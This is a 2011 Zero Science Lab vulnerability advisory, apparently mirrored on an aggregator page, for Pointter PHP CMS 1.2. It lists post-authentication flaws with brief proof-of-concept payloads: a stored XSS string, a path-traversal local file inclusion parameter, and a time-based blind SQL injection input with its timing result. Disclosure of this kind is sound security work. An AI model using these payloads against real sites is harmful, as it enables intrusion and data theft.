Pointter PHP Content Management System 1.2 Multiple Vulnerabilities

🗓️ 16 Mar 2011 00:00:00Reported by Gjoko KrsticType

zeroscience🔗 www.zeroscience.mk👁 28 Views

Pointter PHP Content Management System 1.2 Multiple Vulnerabilities, XSS, SQL Injection, LFI, Do

<html><body><p>Pointter PHP Content Management System 1.2 Multiple Vulnerabilities


Vendor: PangramSoft GmbH
Product web page: http://www.pointter.com
Affected version: 1.2

Summary: Pointter PHP Content Management System is an advanced, fast
and user friendly CMS script that can be used to build simple websites
or professional websites with product categorization, product blogs,
member login and search modules. The webmaster can create unlimited
static page boxes, static pages, main categories, sub categories and
product pages.

Desc: Pointter CMS suffers from multiple vulnerabilities (post-auth)
including: Stored XSS, bSQLi, LFI, Cookie Manipulation, DoS.

Tested on: Microsoft Windows XP Pro SP3 (en)

Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic


Advisory ID: ZSL-2011-5002
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5002.php


10.03.2011


---
XSS:
The stored XSS is pretty much everywhere in the admin panel, just posting the
string '"&gt;<script>alert(1)</script>' when editing some category, and on every
return on the main page u get annoyed.

LFI:
script: pointtercms/admin/functions/createcategory.php
post param: category
poc: category=../../../../../../../../../test.txt%00&amp;code=0e=0

script: pointtercms/admin/functions/createpage.php
post param: pageurl

script: pointtercms/admin/functions/createproduct.php
post param: producturl


bSQLi:
script: pointtercms/admin/functions/editsettings.php
post param: onoff, count, boxname, tonoff, tname, monoff, mname, nonoff, nname,
memonoff, memname, searchonoff, searchname, pos, tpos, mpos, npos, mempos, mail.
poc: onoff=1'+and+sleep(10)%23&amp;pos=0
- Response size: 0 bytes, Duration: 10016 ms</p></body></html>

16 Mar 2011 00:00Current

5.8Medium risk

Vulners AI Score5.8